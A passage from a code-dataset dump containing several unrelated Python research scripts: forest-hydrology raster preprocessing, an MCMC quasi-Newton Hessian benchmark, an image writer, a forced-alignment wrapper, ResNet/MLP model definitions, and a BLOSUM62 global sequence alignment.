pos[0]+cellsize*ncols,cellsize)\n lat0=np.arange(pos[1], pos[1]+cellsize*nrows,cellsize)\n lat0=np.flipud(lat0) #why this is needed to get coordinates correct when plotting?\n\n #catchment mask cmask ==1, np.NaN outside\n cmask=dem.copy(); cmask[np.isfinite(cmask)]=1.0\n \n #flowacc, D-infinity, nr of draining cells\n flowacc, _, _, _, _ = read_AsciiGrid(fpath +'flowaccum_16m.asc')\n conv = np.nanmin(flowacc) # to correct units in file\n flowacc = flowacc / conv *cellsize**2 #in m2\n #slope, degrees\n slope, _, _, _, _ = read_AsciiGrid(fpath + 'slope_16m.asc')\n #twi\n twi, _, _, _, _ = read_AsciiGrid(fpath + 'twi_16m.asc')\n \n #Maastotietokanta water bodies: 1=waterbody\n stream, _, _, _, _ = read_AsciiGrid(fpath +'vesielementit_1_0.asc')\n stream[stream == 0.0] = np.NaN\n stream[np.isfinite(stream)]=1.0 \n #maastotietokanta peatlandmask\n #peatm, _, _, _, _ = read_AsciiGrid(fpath + 'suo_mtk.asc')\n peatm = np.ones([nrows, ncols])*np.NaN\n #peatm[np.isfinite(peatm)]=1.0 \n #maastotietokanta kalliomaski\n #rockm, _, _, _, _ = read_AsciiGrid(fpath +'kallioalue_mtk.asc')\n #rockm[np.isfinite(rockm)]=1.0 \n rockm = peatm.copy()\n \n \"\"\" stand data (MNFI)\"\"\"\n\n #stand volume [m3ha-1]\n vol, _, _, _, _ = read_AsciiGrid(fpath +'tilavuus.asc', setnans=False)\n vol=vol*cmask\n #indexes for cells not recognized in mNFI\n ix_n=np.where((vol>=32727) | (vol==-9999) ) #no satellite cover or not forest land: assign arbitrary values \n ix_p=np.where((vol>=32727) & (peatm==1))#open peatlands: assign arbitrary values\n ix_w=np.where((vol>=32727) & (stream==1)) #waterbodies: leave out\n cmask[ix_w]=np.NaN #*********** NOTE: leave waterbodies out of catchment mask !!!!!!!!!!!!!!!!!!!!!!\n vol[ix_n]=nofor['vol']; vol[ix_p]=opeatl['vol']; vol[ix_w]=np.NaN\n #basal area [m2 ha-1]\n ba, _, _, _, _ = read_AsciiGrid(fpath +'ppa.asc') \n ba[ix_n]=nofor['ba']; ba[ix_p]=opeatl['ba']; ba[ix_w]=np.NaN\n \n #tree height [m]\n height, _, _, _, _ = read_AsciiGrid(fpath +'keskipituus.asc')\n height=0.1*height #m \n height[ix_n]=nofor['height']; height[ix_p]=opeatl['height']; height[ix_w]=np.NaN\n \n #canopy closure [-] \n cf, _, _, _, _ = read_AsciiGrid(fpath +'latvuspeitto.asc') \n cfd, _, _, _, _ = read_AsciiGrid(fpath +'lehtip_latvuspeitto.asc')\n cf=1e-2*cf; cfd=1e-2*cfd; #in fraction\n cf[ix_n]=nofor['cf']; cf[ix_p]=opeatl['cf']; cf[ix_w]=np.NaN\n \n #stand age [yrs]\n age, _, _, _, _ = read_AsciiGrid(fpath +'ika.asc')\n age[ix_n]=nofor['age']; age[ix_p]=opeatl['age']; age[ix_w]=np.NaN\n \n #leaf biomasses and one-sided LAI\n bmleaf_pine, _, _, _, _ = read_AsciiGrid(fpath +'bm_manty_neulaset.asc')\n bmleaf_spruce, _, _, _, _ = read_AsciiGrid(fpath +'bm_kuusi_neulaset.asc')\n bmleaf_decid, _, _, _, _ = read_AsciiGrid(fpath +'bm_lehtip_neulaset.asc')\n # bmleaf_pine[ix_n]=np.NaN; bmleaf_spruce[ix_n]=np.NaN; bmleaf_decid[ix_n]=np.NaN;\n \n LAI_pine=1e-3*bmleaf_pine*SLA['pine'] #1e-3 converts 10kg/ha to kg/m2\n LAI_pine[ix_n]=nofor['LAIpine']; LAI_pine[ix_p]=opeatl['LAIpine']; age[ix_w]=np.NaN\n \n LAI_spruce=1e-3*bmleaf_spruce*SLA['spruce'] #1e-3 converts 10kg/ha to kg/m2\n LAI_spruce[ix_n]=nofor['LAIspruce']; LAI_spruce[ix_p]=opeatl['LAIspruce']; age[ix_w]=np.NaN\n \n LAI_conif = LAI_spruce + LAI_pine\n \n LAI_decid=1e-3*bmleaf_decid*SLA['decid'] #1e-3 converts 10kg/ha to kg/m2\n LAI_decid[ix_n]=nofor['LAIdecid']; LAI_decid[ix_p]=opeatl['LAIdecid']; age[ix_w]=np.NaN \n \n bmroot_pine, _, _, _, _ = read_AsciiGrid(fpath +'bm_manty_juuret.asc')\n bmroot_spruce, _, _, _, _ = read_AsciiGrid(fpath +'bm_kuusi_juuret.asc')\n bmroot_decid, _, _, _, _ = read_AsciiGrid(fpath +'bm_lehtip_juuret.asc') \n bmroot=1e-2*(bmroot_pine + bmroot_spruce + bmroot_decid) #1000 kg/ha \n bmroot[ix_n]=nofor['bmroot']; bmroot[ix_p]=opeatl['bmroot']; age[ix_w]=np.NaN \n \n \"\"\"\n gtk soilmap: read and re-classify into 4 texture classes\n #GTK-pintamaalaji grouped to 4 classes (Samuli Launiainen, Jan 7, 2017)\n #Codes based on maalaji 1:20 000 AND ADD HERE ALSO 1:200 000\n \"\"\"\n CoarseTextured = [195213,195314,19531421,195313,195310]\n MediumTextured = [195315,19531521,195215,195214,195601,195411,195112,195311,195113,195111,195210,195110,195312]\n FineTextured = [19531521, 195412,19541221,195511,195413,195410,19541321,195618]\n Peats = [195512,195513,195514,19551822,19551891,19551892]\n Water =[195603]\n\n gtk_s, _, _, _, _ = read_AsciiGrid(fpath +'soil.asc') \n\n r,c=np.shape(gtk_s);\n soil=np.ravel(gtk_s); del gtk_s\n soil[np.in1d(soil, CoarseTextured)]=1.0 #; soil[f]=1; del f\n soil[np.in1d(soil, MediumTextured)]=2.0\n soil[np.in1d(soil, FineTextured)]=3.0\n soil[np.in1d(soil, Peats)]=4.0\n soil[np.in1d(soil, Water)]=-1.0\n \n #soil[soil>4.0]=-1.0;\n #reshape back to original grid\n soil=soil.reshape(r,c)*cmask; del r,c\n soil[np.isfinite(peatm)]=4.0\n #update waterbody mask \n ix=np.where(soil==-1.0)\n stream[ix]=1.0 \n\n # update catchment mask so that water bodies are left out (SL 20.2.18)\n #cmask[soil == -1.0] = np.NaN\n cmask[soil <= 0] = np.NaN\n soil = soil * cmask\n \n #catchment outlet location\n (iy,ix)=np.where(flowacc==np.nanmax(flowacc));\n loc={'lat':lat0[iy],'lon':lon0[ix],'elev': np.nanmean(dem)}\n \n # harvester driving route and location of test sites\n\n route, _, _, _, _ = read_AsciiGrid(fpath +'route.asc')\n test_sites, _, _, _, _ = read_AsciiGrid(fpath +'test_sites.asc')\n \n GisData={'cmask':cmask, 'dem':dem, 'flowacc': flowacc, 'slope': slope, 'twi': twi, 'soilclass':soil,\n 'peatm':peatm, 'stream': stream, 'rockm': rockm,'LAI_pine': LAI_pine,\n 'LAI_spruce': LAI_spruce, 'LAI_conif': LAI_conif, 'LAI_decid': LAI_decid,\n 'bmroot': bmroot, 'ba': ba, 'hc': height, 'vol':vol,'cf':cf, 'cfd': cfd,\n 'age': age, 'route': route, 'test_sites': test_sites, \n 'cellsize': cellsize, 'info': info, 'lat0':lat0, 'lon0':lon0,'loc':loc} \n\n if plotgrids is True:\n #%matplotlib qt\n #xx,yy=np.meshgrid(lon0, lat0)\n plt.close('all')\n \n plt.figure() \n plt.subplot(221);plt.imshow(dem); plt.colorbar(); plt.title('DEM (m)');plt.plot(ix,iy,'rs')\n plt.subplot(222);plt.imshow(twi); plt.colorbar(); plt.title('TWI')\n plt.subplot(223);plt.imshow(slope); plt.colorbar(); plt.title('slope(deg)')\n plt.subplot(224);plt.imshow(flowacc); plt.colorbar(); plt.title('flowacc (m2)')\n #\n plt.figure()\n plt.subplot(221); plt.imshow(soil); plt.colorbar(); plt.title('soiltype')\n mask=cmask.copy()*0.0\n mask[np.isfinite(peatm)]=1; mask[np.isfinite(rockm)]=2; mask[np.isfinite(stream)]=3; \n plt.subplot(222); plt.imshow(mask); plt.colorbar(); plt.title('masks')\n plt.subplot(223); plt.imshow(LAI_pine+LAI_spruce + LAI_decid); plt.colorbar(); plt.title('LAI (m2/m2)')\n plt.subplot(224); plt.imshow(cf); plt.colorbar(); plt.title('cf (-)')\n \n plt.figure()\n plt.subplot(221);plt.imshow(vol); plt.colorbar(); plt.title('vol (m3/ha)')\n plt.subplot(222);plt.imshow(height); plt.colorbar(); plt.title('hc (m)')\n plt.subplot(223);plt.imshow(ba); plt.colorbar(); plt.title('ba (m2/ha)')\n plt.subplot(224);plt.imshow(age); plt.colorbar(); plt.title('age (yr)')\n \n if plotdistr is True:\n plt.figure() \n #twi\n twi0=twi[np.isfinite(twi)]; vol=vol[np.isfinite(vol)]; lai=LAI_pine + LAI_spruce + LAI_decid\n lai=lai[np.isfinite(lai)];soil0=soil[np.isfinite(soil)]\n \n plt.subplot(221); plt.hist(twi0,bins=100,color='b',alpha=0.5,normed=True); plt.ylabel('f');plt.ylabel('twi')\n \n s=np.unique(soil0); print(s)\n colcode='rgcym'\n for k in range(0,len(s)):\n print(k)\n a=twi[np.where(soil==s[k])]; a=a[np.isfinite(a)]\n plt.hist(a,bins=50,alpha=0.5,color=colcode[k], normed=True, label='soil ' +str(s[k]))\n plt.legend(); plt.show()\n \n plt.subplot(222); plt.hist(vol,bins=100,color='k',normed=True); plt.ylabel('f');plt.ylabel('vol')\n plt.subplot(223); plt.hist(lai,bins=100,color='g',normed=True); plt.ylabel('f');plt.ylabel('lai')\n plt.subplot(224); plt.hist(soil0, bins=5,color='r',normed=True); plt.ylabel('f');plt.ylabel('soiltype')\n\n \n return GisData\n \n\n\n\"\"\" ************************ Forcing data, sitefile ************************** \"\"\"\ndef read_FMI_weatherdata(forcfile, fyear,lyear, asdict=False):\n \"\"\" \n reads FMI interpolated daily weather data from file containing single point\n IN: \n forcfile- filename \n fyear & lyear - first and last years \n asdict=True if dict output, else pd.dataframe\n OUT: F -pd.DataFrame with columns (or dict with fields):\n time, doy, Ta, Tmin, Tmax (degC), Prec (mm/d), Rg (Wm-2), VPD (kPa), RH (%), esa (kPa), h2o (kPa), dds (degC, degree-day sum)\n \n \"\"\"\n \n #OmaTunniste;OmaItä;OmaPohjoinen;Kunta;siteid;vuosi;kk;paiva;longitude;latitude;t_mean;t_max;t_min;\n #rainfall;radiation;hpa;lamposumma_v;rainfall_v;lamposumma;lamposumma_cum\n #-site number\n #-date (yyyy mm dd)\n #-latitude (in KKJ coordinates, metres)\n #-longitude (in KKJ coordinates, metres)\n #-T_mean (degrees celcius)\n #-T_max (degrees celcius)\n #-T_min (degrees celcius)\n #-rainfall (mm)\n #-global radiation (per day in kJ/m2)\n #-H2O partial pressure (hPa)\n\n from datetime import datetime\n #forcfile='c:\\\\pyspace\\\\DATAT\\\\Topmodel_calibr\\\\FMI_saa_Porkkavaara.csv'\n\n #import forcing data\n dat=np.genfromtxt(forcfile,dtype=float,delimiter=';', usecols=(5,6,7,10,11,12,13,14,15,16))\n\n fi=np.where(dat[:,0]>=fyear); li=np.where(dat[:,0]<=lyear)\n ix=np.intersect1d(fi,li); #del fi, li\n #print min(ix), max(ix), np.shape(ix)\n tvec=dat[ix,0:3] #YYYY MM DD\n\n dat=dat[ix, 3:] \n\n time=[]; doy=[]\n for k in range(0,len(tvec)):\n time.append(datetime( int(tvec[k,0]), int(tvec[k,1]), int(tvec[k,2]), 0, 0) )\n doy.append(time[k].timetuple().tm_yday)\n \n time=np.array(time)\n doy=np.array(doy)\n \n Ta=dat[:,0];Tmax=dat[:,1]; Tmin=dat[:,2]; Prec=dat[:,3]; Rg=1e3*dat[:,4]/86400.0; Par=Rg*0.5 #from kJ/m2/d-1 to Wm-2 \n e=1e-1*dat[:,5]; #hPa-->kPa\n dds=dat[:,6] #temperature sum\n\n #saturated vapor pressure \n esa=0.6112*np.exp((17.67*Ta)/ (Ta +273.16 -29.66)) #kPa\n vpd=esa - e; #kPa \n vpd[vpd<0]=0.0\n rh=100.0*e/esa;\n rh[rh<0]=0.0; rh[rh>100]=100.0\n \n F={'Ta':Ta, 'Tmin':Tmin, 'Tmax':Tmax, 'Prec':Prec, 'Rg':Rg, 'Par': Par, 'VPD':vpd, 'RH':rh, 'esa':esa, 'h2o':e, 'dds':dds}\n\n F['time']=time\n F['doy']=doy\n \n ix=np.where(np.isnan(F['Prec'])); \n F['Prec'][ix]=0.0\n #del dat, fields, n, k, time\n \n if asdict is not True:\n #return pandas dataframe\n F=pd.DataFrame(F)\n cols=['time', 'doy', 'Ta', 'Tmin','Tmax', 'Prec', 'Rg', 'Par', 'VPD', 'RH', 'esa', 'h2o', 'dds']\n F=F[cols]\n return F\n \n# \"\"\" ******* functions to read Hyde data for CanopyGrid calibration ******** \"\"\"\n\n\n# def read_HydeDaily(filename):\n\n# cols=['time','doy','NEE','GPP','TER','ET','H','NEEflag','ETflag','Hflag','Par','Rnet','Ta','VPD','CO2','PrecSmear','Prec','U','Pamb',\n# 'SWE0','SWCh','SWCa','SWCb','SWCc', 'Tsh','Tsa','Tsb','Tsc','RnetFlag','Trfall','Snowdepth','Snowdepthstd','SWE','SWEstd','Roff1','Roff2'] \n \n# dat=pd.read_csv(filename,sep='\\s+',header=None, names=None, parse_dates=[[0,1,2]], keep_date_col=False)\n# dat.columns=cols\n# dat.index=dat['time']; dat=dat.drop(['time','SWE0'],axis=1)\n \n# forc=dat[['doy','Ta','VPD','Prec','Par','U']]; forc['Par']= 1/4.6*forc['Par']; forc['Rg']=2.0*forc['Par']\n# forc['VPD'][forc['VPD']<=0]=eps\n \n# #relatively extractable water, Hyde A-horizon\n# #poros = 0.45 \n# fc = 0.30\n# wp = 0.10\n# Wliq = dat['SWCa']\n# Rew = np.maximum( 0.0, np.minimum( (Wliq-wp)/(fc - wp + eps), 1.0) )\n# forc['Rew'] = Rew\n# forc['CO2'] = 380.0\n# # beta, soil evaporation parameter \n# #forc['beta'] = Wliq / fc\n# return dat, forc\n \n \n# def read_CageDaily(filepath):\n \n# cols=['time','doy','NEE','GPP','TER','ET','H','NEEflag','ETflag','Hflag','Par','Rnet','Ta','VPD','CO2','SWCa','PrecSmear','Prec','U','Pamb'] \n \n# dat1=pd.read_csv(filepath + 'HydeCage4yr-2000.txt',sep='\\s+',header=None, names=None, parse_dates=[[0,1,2]], keep_date_col=False)\n# dat1.columns=cols\n# dat1.index=dat1['time']; dat1=dat1.drop('time',axis=1)\n# forc1=dat1[['doy','Ta','VPD','Prec','Par','U']]; forc1['Par']= 1/4.6*forc1['Par']; forc1['Rg']=2.0*forc1['Par']\n \n# dat2=pd.read_csv(filepath + 'HydeCage12yr-2002.txt',sep='\\s+',header=None, names=None, parse_dates=[[0,1,2]], keep_date_col=False)\n# dat2.columns=cols\n# dat2.index=dat2['time']; dat2=dat2.drop('time',axis=1)\n# forc2=dat2[['doy','Ta','VPD','Prec','Par','U']]; forc2['Par']= 1/4.6*forc2['Par']; forc2['Rg']=2.0*forc2['Par']\n# return dat1, dat2,forc1,forc2\n","repo_name":"LukeEcomod/VMI_KAS","sub_path":"spafhy/spafhy_preprocessing.py","file_name":"spafhy_preprocessing.py","file_ext":"py","file_size_in_byte":34677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"70647421389","text":"import time\nimport copy\nimport warnings\n\nimport numpy as np\n\nfrom scipy.stats import multivariate_normal as mvn\n\nfrom helpers.cov_matrix import correct_hessian\nfrom helpers.distributions import product_multivariate_gaussian as pmvn\nfrom parameter.mcmc.mh_quasi_newton import QuasiNewtonMetropolisHastings\n\n\nclass QuasiNewtonMetropolisHastingsBenchmark(QuasiNewtonMetropolisHastings):\n \"\"\"Helper for checking the accuracy of the quasi-Newton estimate of the\n Hessian when mMALA is running the main chain.\"\"\"\n current_iter = 0\n start_time = 0\n time_offset = 0\n run_time = 0\n time_per_iter = 0\n no_hessians_corrected = 0\n iter_hessians_corrected = []\n\n def __init__(self, model, settings=None):\n \"\"\" Constructor. See the constructor for parameter.mcmc.mh_quasi_newton\n for all the settings. \"\"\"\n super().__init__(model, settings)\n self.type = 'qmh_benchmark'\n self.alg_type = 'qmh_benchmark'\n\n def _estimate_state(self, estimator, proposed_state, state_history):\n # Get adapted step sizes (if there are any) otherwise use fixed\n if 'adapted_step_size' in proposed_state:\n step_size_gradient = 0.5 * proposed_state['adapted_step_size']**2\n step_size_hessian = proposed_state['adapted_step_size']**2\n else:\n step_size_gradient = 0.5 * self.settings['step_size_gradient']**2\n step_size_hessian = self.settings['step_size_hessian']**2\n\n # Check if there is an empirical estimate of the Hessian to use\n # as the fallback\n if type(self.emp_hessian) is np.ndarray:\n alt_hess = self.emp_hessian\n else:\n alt_hess = self.settings['hess_corr_fallback']\n\n hess_corr = self.settings['hess_corr_method']\n\n # Run the smoother to get likelihood and state estimate\n warnings.filterwarnings(\"error\")\n try:\n self.model.store_free_params(proposed_state['params_free'])\n log_jacobian = self.model.log_jacobian()\n _, log_prior = self.model.log_prior()\n except:\n print(\"MH-QN-benchmark: Storing parameters failed...\")\n return False\n\n if self.settings['correlated_rvs'] and estimator.alg_type is not 'kalman':\n rvs = {'rvs': proposed_state['rvs']}\n smoother_completed = estimator.smoother(\n self.model, compute_hessian=True, rvs=rvs)\n else:\n smoother_completed = estimator.smoother(\n self.model, compute_hessian=True)\n\n if not smoother_completed:\n print(\"MH-QN-benchmark: Smoother failed...\")\n return False\n\n log_like = estimator.results['log_like']\n state_trajectory = estimator.results['state_trajectory']\n grad = estimator.results['gradient_internal']\n hess = np.linalg.inv(estimator.results['hessian_internal'])\n grad_copy = np.array(grad, copy=True)\n\n # Run benchmark with different Quasi-Newton proposals\n memory_length_vector = (5, 10, 15, 20, 25, 30, 35, 40, 45, 50)\n error_bfgs_fro = []\n error_ls_fro = []\n error_sr1_fro = []\n\n if self.current_iter > self.settings['memory_length']:\n for i, memory_length in enumerate(memory_length_vector):\n params_diffs, grads_diffs = self._qn_compute_diffs(\n state_history, memory_length=memory_length)\n\n init_hessian = self._qn_init_hessian(grad)\n init_hessian_ls = state_history\n\n hess_bfgs, _ = self._qn_bfgs(\n params_diffs, grads_diffs, init_hessian)\n hess_bfgs, _ = correct_hessian(\n hess_bfgs, alt_hess, hess_corr, verbose=False)\n\n hess_ls, _ = self._qn_ls(\n params_diffs, grads_diffs, init_hessian_ls)\n hess_ls, _ = correct_hessian(\n hess_ls, alt_hess, hess_corr, verbose=False)\n\n hess_sr1, _ = self._qn_sr1(\n params_diffs, grads_diffs, init_hessian)\n hess_sr1, _ = correct_hessian(\n hess_sr1, alt_hess, hess_corr, verbose=False)\n\n hess_direct = np.linalg.inv(\n estimator.results['hessian_internal_noprior'])\n\n error_bfgs_fro.append(np.linalg.norm(\n hess_direct - hess_bfgs, 'fro'))\n error_ls_fro.append(np.linalg.norm(\n hess_direct - hess_ls, 'fro'))\n error_sr1_fro.append(np.linalg.norm(\n hess_direct - hess_sr1, 'fro'))\n\n hess, fixed_hess = correct_hessian(\n hess, alt_hess, hess_corr, verbose=False)\n\n grad = estimator.results['gradient_internal']\n nat_grad = hess @ grad\n if np.isfinite(step_size_hessian) and np.isfinite(step_size_gradient):\n output_hess = np.array(hess, copy=True) * step_size_hessian\n output_nat_grad = np.array(\n nat_grad, copy=True) * step_size_gradient\n else:\n print(\"MH-QN-benchmark: Gradient or Hessian not finite.\")\n return False\n\n proposed_state.update({'params': self.model.get_params()})\n proposed_state.update({'state_trajectory': state_trajectory})\n proposed_state.update({'log_like': log_like})\n proposed_state.update({'log_jacobian': log_jacobian})\n proposed_state.update({'log_prior': log_prior})\n proposed_state.update({'log_target': log_prior + log_like})\n proposed_state.update({'gradient': grad_copy})\n proposed_state.update({'nat_gradient': output_nat_grad})\n proposed_state.update({'hessian': output_hess})\n proposed_state.update({'hessian_corrected': fixed_hess})\n proposed_state.update({'error_bfgs_fro': np.array(error_bfgs_fro)})\n proposed_state.update({'error_ls_fro': np.array(error_ls_fro)})\n proposed_state.update({'error_sr1_fro': np.array(error_sr1_fro)})\n return True\n\n def _qn_compute_diffs(self, state_history, memory_length):\n no_params = self.no_params_to_estimate\n\n # Extract parameters, gradients and log-target for the current length\n # of memory\n params = np.zeros((memory_length - 1, no_params))\n grads = np.zeros((memory_length - 1, no_params))\n losses = np.zeros((memory_length - 1, 1))\n j = 0\n for i in range(self.current_iter - memory_length + 1, self.current_iter):\n params[j, :] = state_history[i]['params_free'].flatten()\n grads[j, :] = state_history[i]['gradient'].flatten()\n losses[j, :] = float(state_history[i]['log_target'])\n losses[j, :] += float(state_history[i]['log_prior'])\n j += 1\n\n # Sort and compute differences\n idx = np.argsort(losses.flatten())\n params = params[idx, :]\n grads = grads[idx, :]\n\n params_diffs = np.zeros((memory_length - 2, no_params))\n grads_diffs = np.zeros((memory_length - 2, no_params))\n for i in range(len(idx) - 1):\n params_diffs[i, :] = params[i + 1, :] - params[i, :]\n grads_diffs[i, :] = grads[i + 1, :] - grads[i, :]\n\n return params_diffs, grads_diffs\n","repo_name":"compops/pmmh-qn","sub_path":"python/parameter/mcmc/mh_quasi_newton_benchmark.py","file_name":"mh_quasi_newton_benchmark.py","file_ext":"py","file_size_in_byte":7260,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"12770201613","text":"import base64\r\n\r\n\r\nimport PIL\r\n\r\n\r\n\r\n\r\ndef writeImageToDisk(base64Img,name):\r\n basemod = base64Img.replace(\"b'\",\"'\")\r\n img = bytes(basemod , encoding=\"UTF-8\")\r\n filename = name+\".jpg\"\r\n print(img)\r\n with open(filename, \"wb\") as fh:\r\n fh.write(base64.decodebytes(img))\r\n","repo_name":"othierie/SGF-Viya-Streaming-Integration","sub_path":"kafka-python-framework/src/dataUtils/ReadImage.py","file_name":"ReadImage.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"34307325981","text":"# need to have this in the compiled gentle folder\nimport logging\nimport multiprocessing\nimport os\nimport sys\nimport gentle\n\ndef align_process(path_to_audio, lyrics_file):\n disfluencies = set(['uh', 'um'])\n \n def on_progress(p):\n for k,v in p.items():\n logging.debug(\"%s: %s\" % (k, v))\n\n with open(lyrics_file, encoding=\"utf-8\") as fh:\n transcript = fh.read()\n\n resources = gentle.Resources()\n \n with gentle.resampled(path_to_audio) as wavfile:\n aligner = gentle.ForcedAligner(resources, transcript, nthreads=multiprocessing.cpu_count(), disfluency=False, conservative=False, disfluencies=disfluencies)\n result = aligner.transcribe(wavfile, progress_cb=on_progress, logging=logging)\n\n return result.to_json(indent=2)\n\n#Testing...\nif __name__ == \"__main__\":\n # sample test\n result = align_process(\"audio.mp3\", \"words.txt\")\n print(result)","repo_name":"ST2-EV/lyrixy","sub_path":"force_align.py","file_name":"force_align.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"}
+{"seq_id":"11909318058","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision.models as models\n\n\nclass GroupNorm32(torch.nn.GroupNorm):\n def __init__(self, num_channels, num_groups=32, **kargs):\n super().__init__(num_groups, num_channels, **kargs)\n\n\nclass ResNet(nn.Module):\n def __init__(self, pretrained=False, num_classes=10, small_kernel=True, backbone='resnet18', args=None):\n super(ResNet, self).__init__()\n\n # Load the pretrained ResNet model\n if args.norm_type == 'bn':\n resnet_model = models.__dict__[backbone](pretrained=pretrained)\n else:\n resnet_model = models.__dict__[backbone](pretrained=pretrained, norm_layer=GroupNorm32)\n\n if small_kernel:\n conv1_out_ch = resnet_model.conv1.out_channels\n if args.dset in ['fmnist']:\n resnet_model.conv1 = nn.Conv2d(1, conv1_out_ch, kernel_size=3, stride=1, padding=1, bias=False) # Small dataset filter size used by He et al. (2015)\n else:\n resnet_model.conv1 = nn.Conv2d(3, conv1_out_ch, kernel_size=3, stride=1, padding=1, bias=False) # Small dataset filter size used by He et al. (2015)\n resnet_model.maxpool = nn.MaxPool2d(kernel_size=1, stride=1, padding=0)\n\n # Isolate the feature extraction layers\n self.features = nn.Sequential(*list(resnet_model.children())[:-1])\n\n # Isolate the classifier layer\n self.classifier = nn.Linear(resnet_model.fc.in_features, num_classes)\n\n if args.ETF_fc:\n weight = torch.sqrt(torch.tensor(num_classes / (num_classes - 1))) * (\n torch.eye(num_classes) - (1 / num_classes) * torch.ones((num_classes, num_classes)))\n weight /= torch.sqrt((1 / num_classes * torch.norm(weight, 'fro') ** 2))\n\n self.classifier.weight = nn.Parameter(torch.mm(weight, torch.eye(num_classes, resnet_model.fc.in_features)))\n self.classifier.weight.requires_grad_(False)\n\n if args.ckpt not in ['', 'null', 'none']:\n pretrain_wt = torch.load(args.ckpt)\n if args.load_fc: # load both feature extractor and fc\n pass\n else: # not load fc\n pretrain_wt = {k: v for k, v in pretrain_wt.items() if 'classifier' not in k}\n self.load_state_dict(pretrain_wt, strict=False)\n\n def forward(self, x, ret_feat=False):\n x = self.features(x)\n x = x.view(x.size(0), -1)\n out = self.classifier(x)\n\n if ret_feat:\n return out, x\n else:\n return out\n\n\nclass MLP(nn.Module):\n def __init__(self, hidden, depth=6, fc_bias=True, num_classes=10):\n # Depth means how many layers before final linear layer\n\n super(MLP, self).__init__()\n layers = [nn.Linear(3072, hidden), nn.BatchNorm1d(num_features=hidden), nn.ReLU()]\n for i in range(depth - 1):\n layers += [nn.Linear(hidden, hidden), nn.BatchNorm1d(num_features=hidden), nn.ReLU()]\n\n self.layers = nn.Sequential(*layers)\n self.fc = nn.Linear(hidden, num_classes, bias=fc_bias)\n print(fc_bias)\n\n def forward(self, x, ret_feat=False):\n x = x.view(x.shape[0], -1)\n x = self.layers(x)\n features = F.normalize(x)\n x = self.fc(x)\n if ret_feat:\n return x, features\n else:\n return x\n","repo_name":"glbreeze/neural_collapse","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3394,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"31737488365","text":"import numpy as np\nfrom Bio import SeqIO\nfrom Bio.Align import substitution_matrices\n\nH = np.int16(-11) # gap opening penalty\nG = np.int16(-1) # gap extension penalty\n\nS = np.array(substitution_matrices.load(\"BLOSUM62\"), dtype=np.int8) # Scoring matrix\n\nCONV_TABLE = { # Table for converting letter to index in BLOSUM62\n 'A': 0, 'R': 1, 'N': 2, 'D': 3, 'C': 4, 'Q': 5, 'E': 6, 'G': 7, 'H': 8, 'I': 9, 'L': 10, 'K': 11, 'M': 12, 'F': 13,\n 'P': 14, 'S': 15, 'T': 16, 'W': 17, 'Y': 18, 'V': 19, 'B': 20, 'Z': 21, 'X': 22, '*': 23,\n}\n\n\ndef parse_fasta_file(fasta_file_path: str) -> tuple[np.ndarray, np.ndarray]:\n records = list(SeqIO.parse(fasta_file_path, 'fasta'))\n assert len(records) == 2, \"wrong number of records in the provided fasta file\"\n return np.array(records[0].seq), np.array(records[1].seq)\n\n\ndef sequence_to_indices(seq: np.ndarray):\n index_sequence = np.zeros(len(seq), dtype=np.int8)\n for i, letter in enumerate(seq):\n index_sequence[i] = CONV_TABLE[letter]\n return index_sequence\n\n\ndef construct_matrix(index_seq_a: np.ndarray, index_seq_b: np.ndarray) -> np.array:\n # Initialise matrix\n m = np.zeros((index_seq_b.size + 1, index_seq_a.size + 1, 3), dtype=np.int16)\n m[0][0] = [0, 0, 0]\n for j in range(1, index_seq_a.size + 1):\n m[0][j] = [-32768 / 2, (j - 1) * G + H, (j - 1) * G + H]\n for i in range(1, index_seq_b.size + 1):\n m[i][0] = [(i - 1) * G + H, (i - 1) * G + H, -32768 / 2]\n\n # Construct matrix\n for i in range(1, index_seq_b.size + 1):\n for j in range(1, index_seq_a.size + 1):\n m[i][j][0] = max(m[i - 1][j][0] + G, m[i - 1][j][1] + H)\n m[i][j][2] = max(m[i][j - 1][2] + G, m[i][j - 1][1] + H)\n m[i][j][1] = max(m[i - 1][j - 1][1] + S[index_seq_a[j - 1]][index_seq_b[i - 1]], m[i][j][0], m[i][j][2])\n\n # Return matrix\n return m\n\n\ndef global_alignment_score(fasta_file_path: str) -> int:\n seq_a, seq_b = parse_fasta_file(fasta_file_path)\n index_seq_a = sequence_to_indices(seq_a)\n index_seq_b = sequence_to_indices(seq_b)\n m = construct_matrix(index_seq_a, index_seq_b)\n return np.amax(m[-1][-1])\n\n\nDIRS = [(-1, 0), (-1, -1), (0, -1)]\n\n\ndef global_alignment(fasta_file_path: str) -> tuple[str, str]:\n # Parse sequences from file and construct matrix\n seq_a, seq_b = parse_fasta_file(fasta_file_path)\n index_seq_a = sequence_to_indices(seq_a)\n index_seq_b = sequence_to_indices(seq_b)\n m = construct_matrix(index_seq_a, index_seq_b)\n\n # Initialise traceback\n seq_a_aligned = []\n seq_b_aligned = []\n\n i = m.shape[0] - 1\n j = m.shape[1] - 1\n platform = 1\n\n # Traceback\n while i > 0 or j > 0:\n # Decide direction and platform\n i_dirs = platform\n if platform == 1:\n i_dirs = np.argmax([m[i][j][0], m[i - 1][j - 1][1] + S[index_seq_a[j - 1]][index_seq_b[i - 1]], m[i][j][2]])\n\n if i_dirs == 0:\n platform = 0 if m[i - 1][j][0] + G > m[i - 1][j][1] + H else 1\n elif i_dirs == 2:\n platform = 2 if m[i][j - 1][2] + G > m[i][j - 1][1] + H else 1\n\n seq_a_aligned.append('-' if i_dirs == 0 else seq_a[j - 1])\n seq_b_aligned.append('-' if i_dirs == 2 else seq_b[i - 1])\n\n i += DIRS[i_dirs][0]\n j += DIRS[i_dirs][1]\n\n seq_a_aligned = ''.join(np.flip(seq_a_aligned))\n seq_b_aligned = ''.join(np.flip(seq_b_aligned))\n\n return seq_a_aligned, 